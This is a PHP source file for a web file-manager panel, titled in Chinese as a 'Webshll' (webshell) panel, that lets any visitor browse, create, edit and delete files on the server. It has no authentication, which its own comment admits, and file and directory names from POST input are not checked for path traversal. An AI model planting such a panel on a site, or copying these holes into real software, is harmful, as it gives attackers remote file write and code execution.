<?php
// 安全措施 - 在实际应用中应该添加身份验证
// 这里只是一个演示，生产环境需要更多安全措施

// 设置根目录
$rootDir = realpath('./'); // 可以根据需要修改为其他目录

// 处理操作
if (isset($_GET['action'])) {
    $path = isset($_GET['path']) ? $_GET['path'] : '';
    $fullPath = realpath($rootDir . '/' . $path);
    
    // 安全检查：确保路径在根目录下
    if (strpos($fullPath, $rootDir) !== 0) {
        die('非法路径访问!');
    }

    switch ($_GET['action']) {
        case 'delete':
            if (is_file($fullPath)) {
                unlink($fullPath);
            } elseif (is_dir($fullPath)) {
                rmdir($fullPath);
            }
            break;
            
        case 'create_dir':
            $newDir = $fullPath . '/' . (isset($_POST['dir_name']) ? $_POST['dir_name'] : 'new_dir');
            mkdir($newDir);
            break;
            
        case 'create_file':
            $newFile = $fullPath . '/' . (isset($_POST['file_name']) ? $_POST['file_name'] : 'new_file.txt');
            file_put_contents($newFile, isset($_POST['content']) ? $_POST['content'] : '');
            break;
            
        case 'edit':
            if (isset($_POST['content']) && is_file($fullPath)) {
                file_put_contents($fullPath, $_POST['content']);
            }
            break;
    }
    
    // 重定向以避免重复提交
    header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
    exit;
}

// 获取当前目录内容
$currentPath = isset($_GET['path']) ? $_GET['path'] : '';
$fullPath = realpath($rootDir . '/' . $currentPath);

// 再次安全检查
if (strpos($fullPath, $rootDir) !== 0) {
    die('非法路径访问!');
}

$files = scandir($fullPath);
$files = array_diff($files, array('.', '..'));
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Webshll文件管理面板</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        table { width: 100%; border-collapse: collapse; }
        th, td { padding: 8px; border: 1px solid #ddd; text-align: left; }
        th { background-color: #f2f2f2; }
        tr:hover { background-color: #f5f5f5; }
        .breadcrumb { margin-bottom: 20px; }
        .action-form { display: inline; }
        .action-btn { margin-left: 5px; }
        textarea { width: 100%; height: 300px; }
    </style>
</head>
<body>
    <h1>Webshll文件管理面板</h1>
    
    <div class="breadcrumb">
        <a href="?">根目录</a>
        <?php
        $pathParts = explode('/', $currentPath);
        $currentPathPart = '';
        foreach ($pathParts as $part) {
            if (!empty($part)) {
                $currentPathPart .= '/' . $part;
                echo ' / <a href="?path=' . urlencode(ltrim($currentPathPart, '/')) . '">' . htmlspecialchars($part) . '</a>';
            }
        }
        ?>
    </div>
    
    <?php if (isset($_GET['edit'])): ?>
        <?php
        $editPath = $rootDir . '/' . $_GET['edit'];
        $editPath = realpath($editPath);
        if (strpos($editPath, $rootDir) === 0 && is_file($editPath)):
        ?>
            <h2>编辑文件: <?php echo htmlspecialchars(basename($editPath)); ?></h2>
            <form method="post" action="?action=edit&path=<?php echo urlencode($_GET['edit']); ?>">
                <textarea name="content"><?php echo htmlspecialchars(file_get_contents($editPath)); ?></textarea>
                <br>
                <button type="submit">保存</button>
                <a href="?path=<?php echo urlencode($currentPath); ?>">取消</a>
            </form>
        <?php else: ?>
            <p>文件不存在或无法编辑。</p>
            <a href="?path=<?php echo urlencode($currentPath); ?>">返回</a>
        <?php endif; ?>
    <?php else: ?>
        <h2>当前目录: <?php echo htmlspecialchars($currentPath ?: '根目录'); ?></h2>
        
        <div style="margin-bottom: 20px;">
            <form method="post" action="?action=create_dir&path=<?php echo urlencode($currentPath); ?>" class="action-form">
                <input type="text" name="dir_name" placeholder="新目录名" required>
                <button type="submit">创建目录</button>
            </form>
            
            <form method="post" action="?action=create_file&path=<?php echo urlencode($currentPath); ?>" class="action-form">
                <input type="text" name="file_name" placeholder="新文件名" required>
                <button type="submit">创建文件</button>
            </form>
        </div>
        
        <table>
            <thead>
                <tr>
                    <th>名称</th>
                    <th>类型</th>
                    <th>大小</th>
                    <th>修改时间</th>
                    <th>操作</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($files as $file): ?>
                    <?php
                    $filePath = $fullPath . '/' . $file;
                    $relativePath = ($currentPath ? $currentPath . '/' : '') . $file;
                    $isDir = is_dir($filePath);
                    ?>
                    <tr>
                        <td>
                            <?php if ($isDir): ?>
                                <a href="?path=<?php echo urlencode($relativePath); ?>"><?php echo htmlspecialchars($file); ?></a>
                            <?php else: ?>
                                <?php echo htmlspecialchars($file); ?>
                            <?php endif; ?>
                        </td>
                        <td><?php echo $isDir ? '目录' : '文件'; ?></td>
                        <td><?php echo $isDir ? '-' : formatSize(filesize($filePath)); ?></td>
                        <td><?php echo date('Y-m-d H:i:s', filemtime($filePath)); ?></td>
                        <td>
                            <?php if (!$isDir): ?>
                                <a href="?edit=<?php echo urlencode($relativePath); ?>" class="action-btn">编辑</a>
                            <?php endif; ?>
                            <a href="?action=delete&path=<?php echo urlencode($relativePath); ?>" class="action-btn" onclick="return confirm('确定要删除吗?')">删除</a>
                        </td>
                    </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    <?php endif; ?>
</body>
</html>
<?php
function formatSize($size) {
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $i = 0;
    while ($size >= 1024 && $i < count($units) - 1) {
        $size /= 1024;
        $i++;
    }
    return round($size, 2) . ' ' . $units[$i];
}
?>